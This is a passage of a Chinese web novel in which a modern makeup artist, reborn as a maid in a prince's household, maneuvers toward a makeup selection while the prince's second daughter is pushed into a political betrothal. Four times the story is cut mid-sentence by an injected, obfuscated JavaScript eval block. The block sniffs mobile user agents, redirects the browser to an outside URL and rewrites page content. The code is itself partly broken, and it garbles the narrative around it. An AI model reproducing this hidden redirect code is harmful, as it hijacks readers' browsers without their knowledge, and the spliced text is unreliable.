沈瑾在路上就想,这么冷的夜风,养母肯定不会在外面晃悠很久的,估摸着这会儿已经进府了。 说不定还已经烧好汤婆子,放着暖屋子了。 推开东角屋的门,一个翘着脚,歪坐在椅子上,满脸写着得意的金嬷嬷出现在眼前。 金嬷嬷也不说话,就是嘚瑟地冲着方桌,点点下巴,示意沈瑾看过去。 方桌上放着一个红色的布包,不大,上面写着‘大庙祈福’。 金嬷嬷今天特别理直气壮,觉得自己赶车去城外,可辛苦了。 抖着腿,头抬老高,都能清楚地看到鼻孔了: “女儿,看着没,这就是我亲自去庙里为你求的符,菩萨说可灵了,保证能让你顺顺利利地通过选拔。” “可花了我不少钱,光是香油钱,都上了两柱香呢。” 金嬷嬷平常一个惯是抠门的人,怎么可能花这么多钱,十有八九往夸张了说。 但确实花了钱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876046|159617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这大庙里的和尚也不是做慈善的,不花钱,休想带走任何东西。 只是不多而已,要么,就是金嬷嬷被骗了。 无论怎样,沈瑾这个时候,是不会破坏气氛的。 她很有情商的接住养母的话: “哇!这就是大庙里的符啊,太好了,有了这个,女儿一定能进姑娘院子。” “娘真好,我的月钱都是娘的,不仅仅三两银子,就连赏钱都孝敬娘。” 这话可谓是挠中了金嬷嬷的痒痒。 她还就吃这套。 “哈哈哈哈好好好,有你这番话,娘今天就没白跑一趟。” 金嬷嬷高兴得都飘了,坐在椅子上直扭动。 “好女儿,给娘把床底下那壶酒拿出来,再切点卤猪耳朵。” “哦!对了,你可千万要考上啊,这符花了老多钱呢,还有那送礼,二两银子啊!考不上,小心我抽你。” 一提起酒,金嬷嬷就想起了花掉的钱,心里瞬间就疼得抽抽。 脾气一下子就上来了,冲着沈瑾直发火。 沈瑾对这等愚笨之人,根本不在意。 她的话,就当耳旁风。 只连着又说了些甜言蜜语,哄得金嬷嬷重新眉开眼笑,连喝好几碗温酒,配着猪耳朵,吃得都醉了。 趴在桌子上,做着美梦,幻想以后花钱花到手抽筋的日子。 “咚咚咚——” 刚安顿好养母,外面就传来了几声敲门声。 这么晚了,天又黑有冷,会是谁呢? 该不会有什么大事吧? 沈瑾出去打开房门,待仔细看了,紧张的心,舒了下来。 还好,还好,应该不是什么坏事。 因为,门口正站着一个年轻的小丫鬟,嫩生生的脸颊,和中午的粗使丫鬟不一样,她穿着绸子做的衣服,头上还插了朵绢花。 手里还捧着一包东西。 如果是坏事,或者大事,绝不会叫一个年轻的小丫鬟过来喊人。 “是瑾姐儿吗?我是叶果隔壁房里的,也是咱们小姐院里伺候的。” “叶果正忙着,便叫我替她过来送点吃食给你,谢谢你今天给小丫画的妆。效果可好了,小丫家里人这回都把她当座上宾呢。” 小丫便是今天中午画妆的粗使丫鬟,是叶果的同乡,也是叶果的跟班。 “这是一包橘子干,秋天晒的好货色,叶果给你的。” 景朝虽然已经发明了种植反季节蔬菜的冬季暖房技术,但对于水果,还没辙。 所以冬天里,水果都很稀缺。 就连干果子也不便宜,这包橘子干,估计是叶果自己花私房钱买的,可见其心意。 沈瑾再一次庆幸遇上了这么好心的、知礼数的叶果。 连忙接过橘子干,又对眼前这位丫鬟说: “天冷得很,辛苦姐姐走这一趟了,进来坐会吧,暖和暖和。” “不了不了,很晚了,我还得赶回去。就是······那个······” 吞吞吐吐、扭扭捏捏地,她有点害羞地说不出完整的话来。 “姐姐有什么事需要我帮忙的,尽管开口说。以后咱们都是一个院子里的,我自当全力帮你。” 外面实在太冷了,北风刮得越来越大,看样子今夜怕是要下雪。 沈瑾不想在这么冷的天里,一直站在外面耗着,便干脆利落地问了。 “多谢瑾妹妹,你果然跟叶果说的一样热心肠,我就是明天······” 19. 第 19 章 “我就是明天放假,和小姐妹去游园赏梅。想画个好看又和梅花相应合的妆,不知道能不能请瑾姐儿你······” 叶果的邻居和她性子一样,都是这种怕麻烦别人的,说话都是小心翼翼、不敢提要求的那种。 这对于沈瑾来说,不是什么费力的事,反正她也要找人画妆练手,顺道而已。 “没问题,姐姐。包在我身上,什么时候去你那儿画?” “明天早上!我来接你,谢谢你瑾姐儿,你真好。” 她笑开了花,衬得身上穿的暗色绸缎子都亮起来了。 “好,姐姐,明天见,外面太冷了,看起来要下雪,姐姐回去路上注意脚下。” 送走了明天画妆的预定顾客,沈瑾哆哆嗦嗦地赶紧推开房门,冷风也随之刮进了屋里。 在反手关门的那一刻,沈瑾看到天上开始飘下雪花。 呼啸的北风撞在木棱窗子上,吹得哐哐作响,也吵不醒醉得深沉的金嬷嬷。 看着趴在桌子上不省人事、打着呼噜的养母,沈瑾摇了摇头。 自行换了衣服,回里屋睡了。 【死亡倒计时:76天】 夜里落了雪,刮的风又大,糊窗子的油纸都被吹破了,寒气顺着道儿全钻了进来。 睡在里屋的沈瑾被嗖嗖的冷风吹醒了,披着棉麻袄子,下了床。 提着油灯,借一点亮光,摸黑出了里屋。 只见外屋墙上正对里屋门口的窗子破了一个口子。 不大,沈瑾寻思着,拿个木板挡挡,应该能应应急。 想着,便拿着油灯,弯腰从柜子下面抽出块旧板子。 手冻得直打哆嗦,颤颤巍巍地,举着板子飞快地按了上去。 家里一时间找不到现成的浆糊补窗子,只能先这样应付一下。 等金嬷嬷醒来了,她自会找办法解决的,这种涉及到她自身享受的事,做起来可积极了。 平时啥都不干,关于睡觉享受的事,可绝对干得飞起。 刚补好窗子,外面的风声就停了。 推开房门,只见地上铺满了厚厚的一层雪,放眼望去,白茫茫一片。 下人院子里的那口水井,都已经结了一层冰。 沈瑾冻得牙齿上下打颤,没想到今年深冬第一场雪来得这么早。 她搓了搓双手,放在嘴边哈了一口热气,再揉了揉冻得发疼的耳朵尖。 看样子,今天必须多穿点了。 这景朝,也没有现代的暖宝宝贴什么的,汤婆子也只能捂手捂肚子。 保暖,真的全靠多穿衣服。 像她这样,在王府里干活的,好歹冬天的衣服还是管够的。 那些外头的贫苦老百姓,很容易在冬天冻死,往常总是开春就有很多老人、流浪汉或者身体不好的小孩子被抬到义庄的停尸房。 这该死的时代,等她拿回这具身体的身份,成了都城高门贵户人家的小姐后,一定要改善景朝的居住条件。 心里骂骂咧咧地小碎念,手上也不停歇,弯着腰在大衣柜子里翻着着瑾姐儿去年得的厚袄裙,顺道把汤婆子也翻了出来,灌好热水。 沈瑾身上穿的厚,连抬手梳头都费劲。 收拾好了一切,便等着去给昨日那个穿绸缎子的丫鬟画妆。 这事其实挺好的。 她现在给这些丫鬟婆子免费画妆,不仅能练手,还能积攒人心。 再过几日,就是府里的梳妆选拔比赛了,她肯定是要赢的,但不会是赢第一名。 第一名,摆明了会被选进大小姐春娘的院子。 沈瑾可不想去大姑娘的院子,她要进二小姐的院子。 所以,控分,就是必要的啦。 能精准控分,可是高手才会的操作。沈瑾就是这样一个高手! 只要她想,控几分都行。 到时候,如愿进了二小姐的陪嫁队伍,就要面临一个所有新人都会遇到的问题。 那就是——圈子抱团。 现在她已经俘获了叶果的心,这些日子里也一直跟叶果走的很近,在别人眼里,已经是叶果小团体里的人。 好处是,等正式进入二小姐院子后,不用像纯新人那样尴尬硬融,直接就被叶果她们接纳了。 但现在麻烦的是,小团体里的其他人提的要求,她不能拒绝。 也不是说绝对不能,只是尽量别得罪人,总不能自己搬起石头砸自己的脚。 毕竟在其他小团体眼里,她已经打上了叶果圈子的符号,其他人也不会百分百和她亲近了。 权衡之下,利大于弊。 况且,叶果对她不错,是个好人,连带着她的小姐妹、跟班都还挺心善的。 加入这个圈子,也还行。 这样一来,等选拔比赛过后,她就可以舒舒服服地躺着进秋娘陪嫁队伍啦! 爽! 连着下了几天的雪,主子们都缩在屋子里不动弹,梳妆房也因此没什么活。 基本上,时不时的去整理一下胭脂水粉就行,不用整天待在那儿。 沈瑾趁着这个时机,画了不少小丫鬟的妆,熟练度蹭蹭上涨。 这些小丫鬟都是叶果和她的小姐妹们一起介绍给沈瑾的。 沈瑾正妆越画越顺手,劲头也越加十足。 这几天,一干完手里的活,沈瑾就离开梳妆房,一秒都不多待。 抓紧时间,争分夺秒地在不同的丫鬟房间来回窜。 这样做,虽然很得宋娘子母女俩的心意,但也惹了她们的眼。 “你这几日都在干啥呢?怎么想找你说说话,都寻不见人。” 脂奴每次想找她聊天都逮不到人,事情一做完,就跑了个没影。 “梳妆选拔都快开始了,你怎么一点也不努力啊,整天到处跑。” 脂奴不断地打探她这几日到底在做啥。 “还要两天呢,早着,不急。” 大夫人王氏这次主要是给大小姐春娘选拔梳妆丫鬟,大家心知肚明。想争这块肥肉的下人们,明里暗里的较劲。 尤其是脂奴和宋娘子,眼睛都熬红了,黑眼圈深得吓人,一门心思地要谋这个前程。 她怎么能表现出任何抢风头的意思呢,要不然,分分钟被针对。 “大夫人这次是给大姑娘选人,我如何比得过你的画妆技艺。” 沈瑾先自谦一番,打消脂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876047|159617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奴的怀疑,再拿之前的约定堵她的嘴: “再说了,当初都说好的,我不与你争春娘的梳妆陪嫁。” 脂奴年轻,脸皮还有些薄。 见她主动提起来这事,脸上不自觉地就有些尴尬和不自然。 这段时间,虽然谁都没再提,但大家心里都明白。 “那你也要好好准备呀,在大夫人面前努力表现,说不定就能去二小姐院里当陪嫁呢。” 脂奴赶紧说了几句口水话,把静默的氛围拖过去。 “我还有些羡慕你呢,二小姐性子软和得多,听说很好伺候呢。” 沈瑾知道脂奴只是没话找话地说两句。 不过,她说得也没错,跟着二小姐确实舒坦很多。 二小姐秋娘性子软,好说话,对下人也大方。大姑娘春娘就厉害些了,脾气暴躁得多,还会体罚下人,经常罚钱。 小少爷是男的,在古代,男女大防十分严重,府里争抢着去少爷院里的,都默认是想爬床的。 这方面,沈瑾一点都不想碰! 现代独立自主大女子,是绝不给他人当小妾的。 她是亲自接触过二小姐的,脾气确实稳定,赏钱也给的多。 叶果也经常跟她说二小姐的好话。 等大夫人给春娘挑好人,就会轮到二小姐了。 虽然不一定会问询二小姐的意见,但二小姐绝对有机会表达她的想法。 沈瑾有近十成的把握,二小姐会选她当梳妆陪嫁。 但不怕一万,就怕万一。 毕竟二小姐院里还有个会点画妆手艺的丫鬟,跟二小姐相处一两年了。 当初二小姐不受宠、也没传出要联姻国公府的消息时,梳妆房无人愿意去给二小姐画妆,就是这个丫鬟,给二小姐画的日常妆。 虽然画妆技术不咋滴,但情份在那里。 若是万一,不走运,二小姐选了那位伺候过她的丫鬟,那沈瑾就头疼了。 但无论怎样,沈瑾都要精湛她的手艺,她是靠这双手吃饭的。 不要小瞧古人,古代也有大手艺家。 早前在集市看到的,揭榜的外来妆娘,听说已经通过了初步试选,入住王府的下人客房了。 一番你来我往的打了个哈哈,把脂奴糊弄过去,沈瑾就不再说话了。 多说多错,只背过身,默默干自己的活儿。 她不说话,不代表别人不说。 宋娘子从刚才起,就在旁边竖着一只耳朵听着,她也好奇为什么沈瑾这几天都不见人影。 该不会在秘密准备什么选拔的大招吧?那可不行啊。 宋娘子在心里阴暗地琢磨着。 现在听完了整场对话,晓得了缘由,宋娘子就放松下来。 还算这个瑾姐儿有点自知之明。 见俩小丫头已经结束了聊天,套不出更多的消息了,就开口让沈瑾回家去: “瑾姐儿,冬天里,天黑得早,容易看不清路,你早点回去休息,走的方便些。” 是的,宋娘子已经连梳妆房都不想让沈瑾待了。 要不是沈瑾的的确确是梳妆房上了名册的丫鬟,她恨不得直接把沈瑾锁外头。 20. 第 20 章 越是临近比赛,就越是看沈瑾如眼中钉、肉中刺。 生怕沈瑾画妆的水平超过脂奴,一点都不行。 无论是在梳妆房学习、耳濡目染,还是自己私底下练手,都不是宋娘子愿意看到的。 开口让沈瑾早点下工回去后,宋娘子就让脂奴把花香胭脂块磨细,去整理备妆用的材料,一点都不搭理沈瑾。 “娘,今天采买了好多包花香胭脂块,就让瑾姐儿帮我分着磨一些吧。” 脂奴刚才在外面跟沈瑾,把争春娘陪嫁那件事放在了明面上,现在她心里很有点不好意思。 大概是补偿心理,想给沈瑾争取一点学习的机会,说不定比赛的时候能被选中,进二姑娘院子。 所以一边期期艾艾地跟她娘说道,一边低着头拿眼睛偷瞄沈瑾。 意料之中,宋娘子根本不听。 她斜着眼瞟了沈瑾一眼,转脸就骂女儿: “你个懒货,就不能让瑾姐儿早点回家休息吗?天天偷懒,现在让你磨个胭脂块,都唧唧歪歪的,还想不想当梳妆陪嫁了?” 指桑骂槐、含沙射影。 她明面上看起来是在骂脂奴,其实上是拐着弯嫌弃沈瑾这会突然没眼力见了,在她放话后,没有立马抬脚就走,导致她女儿脂奴接了话。 画妆不单单是涂涂胭脂唇彩、描描眉就成的事儿,很多细节见功夫。比如这亲手磨胭脂块,把砖块大小的胭脂,一点一点地磨成细粉,是一个妆娘必经的学习之路。 胭脂的好坏、新旧、质量高低,在没有机器化验的古代,就全靠妆娘日积月累上手摸索出来的经验判断。 还有那磨粉,颗粒粗细、份量多少,都是要亲手亲眼感受的,这样才能在画妆的时候知道怎么刷粉更合适、更漂亮。 磨粉和画妆一样,也是要练习的,对脂粉把握程度的高低,影响着妆容的好坏。 所以宋娘子才压着脂奴亲手磨胭脂块,这是为她好,只有亲娘才会这么深远地为脂奴考虑。 沈瑾,作为美妆博主第一人,在现代学画妆的时候,费了不知多少功夫熟悉这个,即使天赋卓绝,也不厌其烦地一遍又一遍地练习,已经达到条件反射的地步,闭着眼都会分辨。 所以这时候被宋娘子排挤,她根本无所谓,正好减少了暴露的风险。若是换了真正的景朝土生土长小丫鬟,怕是早就抑郁难过得哭了。 “谢宋娘子疼我,我忙了一天,实在是累得慌,我还是下工回家去吧。” 沈瑾识趣地拒绝了脂奴,动作利落地伸腿站起来,在门口挂着的牌子上画了押,下值回东角屋。 她知晓宋娘子不想让她在梳妆房多待,便脚步走得很快,一会儿就没了影。 宋娘子盯着门口,亲眼瞅见她走远了,才退回梳妆房,关上门,继续给脂奴开小灶。 瑾姐儿还算识趣,但自己不能因为她会做人,就把看家的本领都教给她。 否则,脂奴吃什么呢?到时候拿什么生活?毕竟,梳妆选拔,她和脂奴都报了名。 宋娘子转念又想起,平时瑾姐儿没少讨好自己,节礼孝敬,份量十足,加起来也有不少银钱,心里不禁泛起些对不住的念头。 梳妆房里脂奴正在乖乖练习磨胭脂块,宋娘子看了看,觉得脂奴进度不错,想着瑾姐儿就算是现在开始苦练,也赶不上脂奴,便打算明天让沈瑾在梳妆房多留会,也跟着学学。 反正,就这两天了,过后便是梳妆选拔。 她就是天上的梳妆仙女下凡,也来不及了。 【死亡倒计时:68天】 沈瑾在回院子的路上,有人却在离开院子的路上。 “小姐,咱们真的要交上去吗?” “要不然怎么办呢?父亲身边的大管事都亲自来了,这意味着这门亲事非订不可。” 二小姐主仆俩手紧紧地握着,哭地泪珠直掉。 旁边桌上躺着的,是一张请人算好的生辰八字,写着二小姐秋娘的名字。 纸上沾染了斑斑泪痕。 一个时辰前,二小姐正在用晚食,便听见门口传来叶果请示: “小姐,王爷院里的大管事来了,说是王爷有要事通知。” “请大管事进。” 二小姐知书达礼,紧着叶果出去通传的几分钟,赶快用旁边杯子里的水簌了口、再用帕子擦干净嘴。同时,吩咐屋外候着的洒扫丫鬟撤了饭食。 腾了个合适的地儿,等大管事进来。 “问二小姐晚好,属下前来为王爷传话。”大管事弯腰拱手,目不斜视,礼数做的很周全。 不愧是稳坐整个王府管事之首的人,人情世故拿捏的准极了。 在别的下人都仗着二小姐不受宠而欺压她的时候,大管事仍然尊敬十分。 “管事伯伯快请起,这么晚辛苦了,父王寻我所为何事?” 秋娘也起身,隔空扶了一下。 不过心脏却砰砰直跳,眼皮子也蹦得厉害,秋娘心里升起一股不好的预感。 “王爷请二小姐准备好生辰八字,明日一早,属下来取。” “什么?生辰八字?莫不是······” 二小姐秋娘被这句话吓了一跳。虽然心里已早有预感,在大管事请示传话时,她就隐隐约约感觉到了什么,但真面临事情的时候,终免不了慌神。 秋娘脸唰得一下就白了,手都不知道往哪儿摆。 “可,可姐姐不都还没出嫁吗?我做妹妹的,这么快,轮到我吗?” 秋娘试图挽救,哪怕只是拖延一下,也是好的。 “先定亲,走六礼,遵循古例,您肯定是在大姑娘后面出嫁的。” “这是王爷的意思,还请您准备好,属下先去回复王爷,向二小姐请辞。” 大管事不再多费口舌,后撤一步离开。 “不是,管事伯伯,我······” 二小姐柔弱的声音根本赶不上管事匆忙的背影,生辰八字非准备不可了。 其实秋娘也没有拒绝的余地,楚王爷好不容逮到一只大鱼,怎么可能放跑。 要知道,国公府现在正是炙手可热的权贵,是整个都城数一数二的大人物,皇上也乐意给脸放权,人人都捧着。 唯一的软肋,就是这个顽劣不堪的次子,名声不好,才学不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876048|159617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显。 到了成婚的年纪,却无贵女愿嫁,把国公老爷子愁得头发大把的掉。 更别说,国公爷还想讨个出身好、性格好、长得好,读书好的儿媳妇,简直难上加难。 次子的婚事一直拖到了现在,直到楚王进京述职,打听到风声,又看到了完美符合要求的二女儿。 撞大运了啊! 楚王激动地在心里直拍大腿。 次子受宠,好不容易寻到的儿媳也符合心意,国公爷铁定爱屋及乌。帮助帮助他这个亲家,不是问题啦。 他楚王能攀上这么座大佛,重现辉煌,指日可待啊! 怎么可能不积极呢? 绑得越快越好、越紧越好,定亲自然得最快速度啊。 前些日子,考察完二女儿学问之后,楚王爷便当即逐字逐句地斟酌着,写了一封结亲信。 一秒钟都不耽搁,写完就派人快马加鞭,拿着他的令牌开道。 用特权逼沿途各地驿站的守员,放行八百里加急的官道,连续不断换最好的马,人马都不歇息,日夜兼程地赶到都城。 随后,信就送到了国公爷的书房桌子上。 一拍即合! 国公爷看完信,先是找了府里当时收信的门房,和负责都城驿站的官员,确认真的是楚王爷有意结亲后,高兴得找不着北,直接赏了门房一靛银元宝,还派人给都驿官的家里送了拜帖,帖子下面盖了三块金饼。 国公爷乃一介武夫,早年随着皇上东征西战,立下汗马功劳,才获得这份爵位,本身肚里没多少墨水儿。 又愁次子不知礼数,所以才更倾向于找个会读书的儿媳妇,想改善改善后代的基因。 早年间,国公爷是和楚王接触过的,楚王当年流连花场、不通诗词的事迹,他也知晓。 可这么多年过去了,也没听说有什么更恶劣的事传出来,想必是在封地那边修身养性了吧。 看这封信件的用词文笔,多少有些文采,应该是读了书的。 楚王也在信里说了他的女儿饱读诗书、知书达礼、气质清雅,那应当是不错的。 国公爷想了想,落笔写了一封回信,按照礼数,也像楚王府一般,在回信上印了国公府的章。 其实哪里有什么修身养性,只不过是坏事没传出楚州罢了。 楚王在封地上作威作福,仿佛土霸王。 实属红灯区里的常客,光是给花魁砸银子,就砸了半个封地的人口税。 若是看见喜欢的美人,甭管良家妇女、有夫之妇还是瘦马妓子,都强纳回府去享用。 要不然,王府里成堆的妾室、庶子庶女怎么来的呢。 只不过没闹出人命来,老百姓又抵不过王府势大,所以事情没捅破。 除了/裤/裆/里的那点事,书是一点没读。 至于那封信,之所以有文采,一是因为楚王费尽了心思,估摸着是用光了前几十年储存的所有文墨,他楚王这辈子都没这么拼过。 二是因为他养了不少谋士,写信的时候,把府里谋士,有一个算一个,全叫来帮他字字修改。 才有这番效果。 21. 第 21 章 国公爷打仗很是勇猛,年轻的时候孔武有力,强壮的身材吸引了一大堆姑娘追在后面嗷嗷叫。 性子简单、不拘小节,是国公爷最大的优点。领兵打仗的时候,从来不搞那些子虚头巴脑的礼数,吃喝都和士兵们在一块儿,所以很得人心。 但正所谓,老天爷给你开了门,必然关上窗。 心思不多,就意味着头脑简单。 虽然这样让皇上很放心,不用提防他造反,但明摆着好忽悠,随随便便就能被坑。 不少人曾提醒过他,长点心眼儿,否则太容易阴沟里翻船。 但国公爷不在乎,用他的话来说: ‘老夫身正不怕影子歪,我从没害过人,谁能陷害我?’ ‘况且这么多年,不一点事都没有嘛,好得很!你们这些文人,就是弯弯绕绕想得太多。’ 一番道德制高点的回怼,显得那些好心提醒他的人,撞了一鼻子灰,久而久之,人家都不愿意跟他搭话了。 只剩下当年和他一起辅佐皇上出征的谋将,如今的吏部尚书,徐大人,还愿意在他耳边唠叨。 徐大人擅谋略,每回出征用兵,都是其在背后运筹帷幄,可以说国公爷的功劳里,徐大人能占一半。 两人是一起趟过雪地、爬过沙漠,吃过野菜的生死之交,有情份在的。 所以徐大人才愿意顶着被喷满脸的口水,天天劝他。 可再怎么盯紧,也不可能二十四小时不眨眼,一个错漏,这封信就送进国公府,甚至国公爷都写完回信,准备寄出去了。 好在,运气还站在徐大人这边。 因为知道国公爷这个人脑子不行,但人品没问题,心思正,所以当年把待字闺中的妹妹嫁给他,因此徐二娘也加入到看管‘国·没头脑·公·哈士奇·爷’的队伍中。 这回就是国公夫人徐二娘发现了蹊跷。 “嘶——不对啊,老爷这会儿怎么突然高兴起来了,刚才不还为儿子的婚事头疼的吗?” 只见国公爷兴高采烈地摇头晃脑,甚至还能听见他哼着小曲。 正在园中赏梅的国公夫人,隔着窗户看见了这稀奇的场景。 这样的眉飞色舞,自从小儿子开始找寻婚事,就再也没出现在国公爷脸上了。 不对劲,很不对劲。 出于女人的直觉,这里面肯定有事! “来人,去请老爷过来,就说我请老爷一起赏梅。” 国公夫人皱着眉头,挥挥手,让身边的侍女去园子对面的书房请人。 国公爷一点没意识到即将面临什么,还真以为夫人是想他了,要他陪。 乐颠颠地就迈步去了,甚至脸上还带着满满的嘚瑟。 今天他可是办了一件大好事,大大的功臣呢! 这就去跟夫人邀功,嘿嘿! “夫人!这般离不开我啊,一会儿不见,就叫人来找我,啧啧啧,我就知道老夫魅力依旧啊!” “想当年,都城的少女们,梦里可全是我啊!哈哈哈哈,你就仗着我宠你罢,来来来,我陪你赏雪。” 国公府一只脚刚迈进园子,得意地声音就已经占满了夫人的耳朵。 国公夫人徐二娘的嘴角抽了又抽,好悬忍住了,才没有动手敲这蠢货的脑袋。 本来就已经没脑子了,再敲下去,直接傻了,该怎么办? 为了打听发生了什么事,徐二娘假装生气,背过身子不理他。 “哎呦呦,我的夫人诶,你别生气,我这不来了吗。” 国公爷很爱徐二娘,平生最舍不得夫人生气。 为了哄夫人开心,也不指望邀功了,直接把今天做的事说出来,只求夫人一展笑颜。 “夫人,我给你说个大好事,保准你开心。我给咱们儿子找到媳妇啦!” 徐二娘听到这事的第一反应不是高兴,而是: ‘谁要害国公府!?’ 她又惊讶又担忧地立刻转过身,甚至还有一丝怀疑。 “嘿嘿,我就知道你会激动,你猜亲家是谁?” “谁?” 徐二娘此时脑子里已经飞速闪过十几个可能的敌人,连谁要害他们的理由都一一摆开计算了。 是大皇子的母族?是太子的幕僚?还是丞相想挤掉他们,换人上去? 难道是皇上······终于要敲山震虎了吗? 可是不像啊,这老头脸上的皱纹高兴地都快飞起来了,如果真是以上人选,他不应该这么开心啊。 看着此时笑眯了眼的国公爷,徐二娘的内心又动摇了。 难不成真有哪个贵族人家肯把好女儿嫁过来? 是哪家的族长撞了脑袋吗?还是谁家犯了事,想借他们国公府的势力躲避?或者那家的姑娘有大问题,想找人接盘?还是发生了什么大事,跟国公府有关? 要不然谁家脑袋进水了,好端端地把精心养大的好女儿扔进火坑。 他们府国公爷的要求,对外宣称,可是非常高呢! 又是知书达礼、又是出身高贵、还得长得好看。 谁啊?那么想不开。 要知道,这小儿子的名声,可是她徐二娘本人和哥哥徐尚书,合力联手,一起精心打造的。 为的就是全天下人都知道,国公府下一辈里,有个拖后腿的大炸弹,分分钟能葬送掉整个国公府。 小儿子其实挺好的,本性善良,人还挺尊敬女性,就是好吃懒做。 整天啊不愿读书,不想吃那学习的苦,也不想进朝廷找份差事做,张口闭口就是老爹正当壮年,还能撑好几年,再不济府里有哥哥顶着,他只需要躺好吃饭就行。 玩,就是他这辈子唯一的梦想! 国公爷实在看不下去,但又舍不得打骂,小儿子是他的心头宝。 凭借他的脑筋,又想不出什么好法子治治小儿子,甚至放下脸面去求大舅子徐尚书,人也不管这事,推辞说这是国公府家事。 没辙,只好参照以前偶然听来的,说儿子成婚了就懂事了。 所以才有了国公爷满都城的找寻亲家这回事。 因为自己没读什么书,更不喜欢小儿子也不读书,缺啥补啥,所以对外宣称要找知书达礼的儿媳妇。 像这种气质优雅、知书达礼还长得好看的儿媳妇,在古代,十有八九出身富贵,还是出身文官的富贵家族。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876049|159617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他们国公府已经是为人臣子的巅峰了,还要怎么往上爬? 爬到哪里去?再往上走就赏无可赏了。 掌兵权的国公府联姻文官世家贵族,是想干什么? 自古联姻就是两家势力的联手。 你要皇帝怎么想? 卿家,你是要朕身下这把椅子吗? 分分钟,抄满门! 虽然他们这一届的皇帝,在历朝历代中,算大度的。但再大度,也不能这么造啊。 小心驶得万年船,还是别在坟头蹦迪吧! 所以不仅不能联姻富贵人家,还不能表现的太突出。 若是两个儿子都耀眼得很,万一惹了皇帝的眼······ 她徐二娘这一生,最在乎的就是全家人平平安安、完完整整! 所以,打小儿子会说话起,徐二娘就给哥哥去了信。 徐尚书,在府里,点燃蜡烛,足足思考了一整夜,写出覆盖小侄子一生的计划本,第二天赶在上朝前,摸黑敲响了国公府的大门。 厚厚一沓纸,密密麻麻的小字,把国公爷都看呆了。 眼睛直愣愣地瞧着,那字就像拿着刀一般,刺得他脑袋疼。 国公爷才看了两眼,就哎呀哎呀地直叫唤,捂着眼,摆手说不看了不看了,叫大舅子去找夫人去。 反正刚才看了看,他知道好像是关于儿子成长发展的事,这种东西他们文人最会搞了,就交给他们吧,也不是什么坏事。 转头就钻进被窝里,睡回笼觉,还有两个时辰才天亮呢。 徐尚书,脸色不变,气息都不带晃地瞒过了国公爷。他知道,这个妹夫最不愿弄这些学问的东西,就故意一上来把大篇大段的字怼在国公爷眼前。 果然,没两秒,他就叫唤。 这件事,不能让他知道。一是国公爷脑子简单,这样的计谋,若是叫他知晓,他演不出来那种泰然自若。肯定难以瞒过其他人,这个朝廷没几个傻子,都是人精。 二是,国公爷这种正直的蠢货,绝不可能同意玷污儿子的名字,在他看来,儿子名声就是国公府名声,就是这个他守护了半辈子的景朝的名声。他不想给皇上丢脸。 所以,徐尚书跳过国公爷,直接进院子里,单独找妹妹密谈,直至天亮。 两人决定了,小儿子从此就是,纨绔混账。 这辈子都学不会任何书籍、每天只知道吃喝玩乐;这辈子都不会考取任何功名,只会伸手找爹妈要钱、啃爹啃娘啃哥哥;这辈子都不会懂任何礼仪,只知道打架砸人、当个流氓调戏女人;这辈子都不会娶好人家的女儿,只会在烟花风月之地打滚。 所以,等国公爷拜托徐尚书管管小儿子时,他怎么可能同意插手管呢。 这也是次子破烂的名声传遍都城、甚至传遍景朝的原因。 只有这样,才可以让上头放心,才可以让自己放心,才可以保一家平安。 毕竟人性经不起考验。 至于小儿子知不知道这件事,他知道的。 等他长到四岁,论年纪到了世家公子们普遍进学堂的时候,徐二娘、徐尚书就把次子带到偏僻无人的柴房,来了一场三人会谈。 22. 第 22 章 “儿啊,咱们家与旁人不同,你不能去学堂,听话啊。” “为什么,娘?不管、我不管,他们都去,我也要去!” 区区四岁,能听得懂多少呢,撒泼打滚地要和小伙伴去学堂,他还以为这是另外一种形式地出去玩耍。 当父母的总拗不过孩子。 扶着额头,叹息着还是把次子送进了学堂。 即使耳提面命,小孩子终究不太会藏拙,在六岁那年,小儿子在学堂诗词考核中,展露头角,一举拿下第一,出尽了风头。 